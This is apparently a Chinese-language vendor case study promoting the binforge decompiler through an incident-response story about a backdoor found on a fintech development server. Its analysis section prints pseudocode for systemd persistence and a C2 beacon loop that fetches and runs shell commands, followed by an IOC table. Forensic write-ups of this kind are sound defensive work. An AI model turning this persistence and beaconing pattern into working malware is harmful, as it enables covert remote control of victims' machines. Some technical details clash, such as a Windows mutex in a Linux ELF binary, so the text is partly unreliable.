背景
某头部金融科技公司的安全运营中心发现内网一台开发服务器出现异常 SSH 登录记录,登录来源 IP 不在白名单内,且该服务器并未对外开放 SSH 端口。
事件响应团队需要快速判断:
- 这是合法运维还是真实入侵?
- 攻击者已经做了什么?
- 是否存在横向移动的痕迹?
取证过程
1. 样本发现
安全团队使用 binforge 的 find-suspicious 命令扫描服务器上的可疑二进制:
binforge scan --since 30d --heuristic suspicious /usr/local/bin/
发现 /usr/local/bin/.libsystem.so 是一个伪装成系统库的二进制文件,创建时间晚于系统初始部署时间,且签名异常。
2. 静态分析
把可疑文件导入 binforge 进行反编译:
$ binforge decompile /usr/local/bin/.libsystem.so -o c
[i] Detected architecture: x86_64 ELF
[i] Detected compiler: GCC 11.3 (likely)
[i] Packer: none detected
[i] Stripped: yes
[+] Decompiled 12,847 functions (98.4% success)
[+] Identified 47 library functions (libc 2.31)
[+] Suspicious APIs detected: 8 (network, file system, process injection)
3. 关键函数还原
binforge 自动识别出 8 个高度可疑的函数,其中 init_persistence() 的反编译输出极为清晰:
void init_persistence() {
// 创建 systemd 服务伪装成合法进程
char *svc_name = random_alpha_string(8); // 如 "kworker/u8:1"
write_file("/etc/systemd/system/" + svc_name + ".service", ...);
// 添加自启动
system("systemctl enable " + svc_name);
}
void c2_beacon_loop() {
// 与 C2 服务器通信
while (1) {
sleep(random(30, 300));
char *cmd = https_get(C2_HOST, "/api/beacon", ...);
if (strlen(cmd) > 0) {
execute_shell(cmd);
}
}
}
4. IOC 提取
从反编译结果中提取 IoC(Indicators of Compromise):
| 类型 | 指标 |
|---|---|
| C2 域名 | cdn-update.{随机}.net(DNS 隧道) |
| C2 IP | 198.51.100.{20-40} |
| 文件路径 | /usr/local/bin/.libsystem.so |
| Service 模板 | kworker/u{0-9}:{0-9} 伪装名 |
| Mutex | Global\\BinforgeBackdoorMutex |
客户收益
- 4 小时内完成全部取证(传统 IDA 方式预估需要 2-3 天)
- 找到 3 台相邻服务器上的同源后门(基于 IOC 全网扫描)
- 生成可执行的 YARA 规则,纳入 SIEM 持续监控
- 关闭入侵路径并修复 SSH 配置弱点
客户原话
"如果不是 binforge 的快速反编译能力,这个 APT 事件我们可能要到攻击者窃取数据后才发现。" —— 客户安全运营总监
相关功能
- 智能反编译引擎:bindeep.cn/decompile
- 数据流分析:用于追踪后门与 C2 之间的所有通信路径
- IOC 自动提取:从二进制中生成结构化威胁情报